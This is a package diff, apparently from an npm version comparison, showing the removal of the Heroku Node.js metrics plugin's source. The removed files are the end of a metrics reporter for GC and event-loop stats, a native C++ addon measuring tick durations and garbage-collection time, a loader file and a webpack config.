"node.gc.young.collections": youngGcCount,
|
69
|
-
"node.gc.young.pause.ns": youngGcTime,
|
70
|
-
},
|
71
|
-
gauges: {
|
72
|
-
"node.eventloop.usage.percent": aa,
|
73
|
-
"node.eventloop.delay.ms.median": median,
|
74
|
-
"node.eventloop.delay.ms.p95": p95,
|
75
|
-
"node.eventloop.delay.ms.p99": p99,
|
76
|
-
"node.eventloop.delay.ms.max": max
|
77
|
-
}
|
78
|
-
};
|
79
|
-
|
80
|
-
submitData(data, (err, res) => {
|
81
|
-
if (err !== null) {
|
82
|
-
log(
|
83
|
-
"[heroku-nodejs-plugin] error when trying to submit data: ",
|
84
|
-
err
|
85
|
-
);
|
86
|
-
return;
|
87
|
-
}
|
88
|
-
|
89
|
-
if (res.statusCode !== 200) {
|
90
|
-
log(
|
91
|
-
"[heroku-nodejs-plugin] expected 200 when trying to submit data, got:",
|
92
|
-
res.statusCode
|
93
|
-
);
|
94
|
-
return;
|
95
|
-
}
|
96
|
-
});
|
97
|
-
|
98
|
-
delay.reset();
|
99
|
-
}, METRICS_INTERVAL).unref();
|
100
|
-
}
|
101
|
-
|
102
|
-
module.exports = start;
|
package/src/nativeStats.cc
DELETED
@@ -1,166 +0,0 @@
|
|
1
|
-
#include <nan.h>
|
2
|
-
#include <list>
|
3
|
-
|
4
|
-
using namespace Nan;
|
5
|
-
using namespace v8;
|
6
|
-
|
7
|
-
uv_prepare_t prepare_handle;
|
8
|
-
uv_check_t check_handle;
|
9
|
-
std::list<uint64_t> durations;
|
10
|
-
|
11
|
-
uint64_t tick_start;
|
12
|
-
uint64_t gc_start;
|
13
|
-
|
14
|
-
// gc metrics
|
15
|
-
uint64_t gc_count;
|
16
|
-
uint64_t gc_time;
|
17
|
-
|
18
|
-
// "old generation" gc metrics
|
19
|
-
uint64_t old_gc_count;
|
20
|
-
uint64_t old_gc_time;
|
21
|
-
|
22
|
-
// "young generation" gc metrics
|
23
|
-
uint64_t young_gc_count;
|
24
|
-
uint64_t young_gc_time;
|
25
|
-
|
26
|
-
void reset()
|
27
|
-
{
|
28
|
-
durations.clear();
|
29
|
-
gc_count = 0;
|
30
|
-
gc_time = 0;
|
31
|
-
old_gc_count = 0;
|
32
|
-
old_gc_time = 0;
|
33
|
-
young_gc_count = 0;
|
34
|
-
young_gc_time = 0;
|
35
|
-
}
|
36
|
-
|
37
|
-
// http://docs.libuv.org/en/v1.x/design.html#the-i-o-loop
|
38
|
-
void on_check(uv_check_t *handle)
|
39
|
-
{
|
40
|
-
tick_start = uv_hrtime() / static_cast<uint64_t>(1e6);
|
41
|
-
}
|
42
|
-
|
43
|
-
void on_prepare(uv_prepare_t *handle)
|
44
|
-
{
|
45
|
-
if (!tick_start)
|
46
|
-
{
|
47
|
-
return;
|
48
|
-
}
|
49
|
-
const uint64_t tick_end = uv_hrtime() / static_cast<uint64_t>(1e6);
|
50
|
-
if (tick_end < tick_start)
|
51
|
-
{
|
52
|
-
// Should not happen
|
53
|
-
return;
|
54
|
-
}
|
55
|
-
const uint64_t duration = tick_end - tick_start;
|
56
|
-
|
57
|
-
tick_start = 0;
|
58
|
-
|
59
|
-
durations.push_back(duration);
|
60
|
-
}
|
61
|
-
|
62
|
-
// Callback before GC runs
|
63
|
-
static NAN_GC_CALLBACK(recordBeforeGC)
|
64
|
-
{
|
65
|
-
gc_start = uv_hrtime();
|
66
|
-
}
|
67
|
-
|
68
|
-
// Callback after GC runs
|
69
|
-
NAN_GC_CALLBACK(afterGC)
|
70
|
-
{
|
71
|
-
const uint64_t gc_end = uv_hrtime();
|
72
|
-
const uint64_t duration = gc_end - gc_start;
|
73
|
-
|
74
|
-
gc_count += 1;
|
75
|
-
gc_time += duration;
|
76
|
-
|
77
|
-
// `int type` is defined which indicates the type of GC run
|
78
|
-
// https://github.com/nodejs/node/blob/554fa24916c5c6d052b51c5cee9556b76489b3f7/deps/v8/include/v8.h#L6137-L6144
|
79
|
-
// 1 = scavenge (young)
|
80
|
-
// 2 = mark and sweep (old)
|
81
|
-
// 4 = incremental marking (old)
|
82
|
-
// 8 = processing weak callbacks
|
83
|
-
// 15 = All
|
84
|
-
if (type == 1) {
|
85
|
-
young_gc_count += 1;
|
86
|
-
young_gc_time += duration;
|
87
|
-
} else {
|
88
|
-
old_gc_count += 1;
|
89
|
-
old_gc_time += duration;
|
90
|
-
}
|
91
|
-
}
|
92
|
-
|
93
|
-
static NAN_METHOD(sense)
|
94
|
-
{
|
95
|
-
Local<Array> array = New<v8::Array>(durations.size());
|
96
|
-
|
97
|
-
std::list<uint64_t>::iterator it;
|
98
|
-
int i = 0;
|
99
|
-
for (it = durations.begin(); it != durations.end(); ++it)
|
100
|
-
{
|
101
|
-
Nan::Set(array, i, Nan::New(static_cast<double>(*it)));
|
102
|
-
i += 1;
|
103
|
-
}
|
104
|
-
|
105
|
-
Local<Object> obj = Nan::New<Object>();
|
106
|
-
|
107
|
-
Nan::Set(obj, Nan::New("ticks").ToLocalChecked(), array);
|
108
|
-
Nan::Set(obj, Nan::New("gcCount").ToLocalChecked(), Nan::New(static_cast<double>(gc_count)));
|
109
|
-
Nan::Set(obj, Nan::New("gcTime").ToLocalChecked(), Nan::New(static_cast<double>(gc_time)));
|
110
|
-
Nan::Set(obj, Nan::New("oldGcCount").ToLocalChecked(), Nan::New(static_cast<double>(old_gc_count)));
|
111
|
-
Nan::Set(obj, Nan::New("oldGcTime").ToLocalChecked(), Nan::New(static_cast<double>(old_gc_time)));
|
112
|
-
Nan::Set(obj, Nan::New("youngGcCount").ToLocalChecked(), Nan::New(static_cast<double>(young_gc_count)));
|
113
|
-
Nan::Set(obj, Nan::New("youngGcTime").ToLocalChecked(), Nan::New(static_cast<double>(young_gc_time)));
|
114
|
-
|
115
|
-
reset();
|
116
|
-
|
117
|
-
info.GetReturnValue().Set(obj);
|
118
|
-
}
|
119
|
-
|
120
|
-
NAN_METHOD(start)
|
121
|
-
{
|
122
|
-
reset();
|
123
|
-
|
124
|
-
// Event loop callbacks
|
125
|
-
uv_check_init(uv_default_loop(), &check_handle);
|
126
|
-
uv_check_start(&check_handle, reinterpret_cast<uv_check_cb>(on_check));
|
127
|
-
uv_unref(reinterpret_cast<uv_handle_t *>(&check_handle));
|
128
|
-
|
129
|
-
uv_prepare_init(uv_default_loop(), &prepare_handle);
|
130
|
-
uv_prepare_start(&prepare_handle, reinterpret_cast<uv_prepare_cb>(on_prepare));
|
131
|
-
uv_unref(reinterpret_cast<uv_handle_t *>(&prepare_handle));
|
132
|
-
|
133
|
-
// GC callbacks
|
134
|
-
Nan::AddGCPrologueCallback(recordBeforeGC);
|
135
|
-
Nan::AddGCEpilogueCallback(afterGC);
|
136
|
-
}
|
137
|
-
|
138
|
-
NAN_METHOD(stop)
|
139
|
-
{
|
140
|
-
reset();
|
141
|
-
|
142
|
-
// Event loop callbacks
|
143
|
-
uv_check_stop(&check_handle);
|
144
|
-
uv_prepare_stop(&prepare_handle);
|
145
|
-
|
146
|
-
// GC callbacks
|
147
|
-
Nan::RemoveGCPrologueCallback(recordBeforeGC);
|
148
|
-
Nan::RemoveGCEpilogueCallback(afterGC);
|
149
|
-
}
|
150
|
-
|
151
|
-
NAN_MODULE_INIT(init)
|
152
|
-
{
|
153
|
-
Nan::Set(target,
|
154
|
-
Nan::New("sense").ToLocalChecked(),
|
155
|
-
Nan::GetFunction(Nan::New<FunctionTemplate>(sense)).ToLocalChecked());
|
156
|
-
|
157
|
-
Nan::Set(target,
|
158
|
-
Nan::New("start").ToLocalChecked(),
|
159
|
-
Nan::GetFunction(Nan::New<FunctionTemplate>(start)).ToLocalChecked());
|
160
|
-
|
161
|
-
Nan::Set(target,
|
162
|
-
Nan::New("stop").ToLocalChecked(),
|
163
|
-
Nan::GetFunction(Nan::New<FunctionTemplate>(stop)).ToLocalChecked());
|
164
|
-
}
|
165
|
-
|
166
|
-
NODE_MODULE(eventLoopStats, init)
|
package/src/nativeStats.js
DELETED
@@ -1,9 +0,0 @@
|
|
1
|
-
|
2
|
-
// This file will be bundled by webpack, and webpack tries to bundle
|
3
|
-
// all require statements, but we need to require this at runtime.
|
4
|
-
// To work around this, webpack aliases the real `require` to
|
5
|
-
// `__not_webpack_require__`
|
6
|
-
var nativeStats = __non_webpack_require__('./heroku-nodejs-plugin.node');
|
7
|
-
exports.sense = nativeStats.sense;
|
8
|
-
exports.start = nativeStats.start;
|
9
|
-
exports.stop = nativeStats.stop;
|
package/webpack.config.js
DELETED
@@ -1,28 +0,0 @@
|
|
1
|
-
let webpack = require('webpack');
|
2
|
-
let path = require('path');
|
3
|
-
|
4
|
-
let match = process.version.match(/^v([0-9]+)/);
|
5
|
-
|
6
|
-
module.exports = {
|
7
|
-
// Don't minify the output script
|
8
|
-
mode: 'none',
|
9
|
-
|
10
|
-
// Don't polyfill native node libraries for the browser
|
11
|
-
target: 'node',
|
12
|
-
|
13
|
-
output: {
|
14
|
-
// output to the /heroku-nodejs-plugin instead of /dir
|
15
|
-
path: path.resolve(__dirname, "heroku-nodejs-plugin"),
|
16
|
-
|
17
|
-
// Make sure the output file is named `index.js`
|
18
|
-
filename: 'index.js',
|
19
|
-
},
|
20
|
-
plugins: [
|
21
|
-
new webpack.DefinePlugin({
|
22
|
-
// Save the major version of Node that the plugin was compiled with
|
23
|
-
// so that the plugin can perform a no-op when included in a different
|
24
|
-
// version of Node
|
25
|
-
NODE_MAJOR_VERSION: `"${match[1]}"`,
|
26
|
-
}),
|
27
|
-
]
|
28
|
-
};
|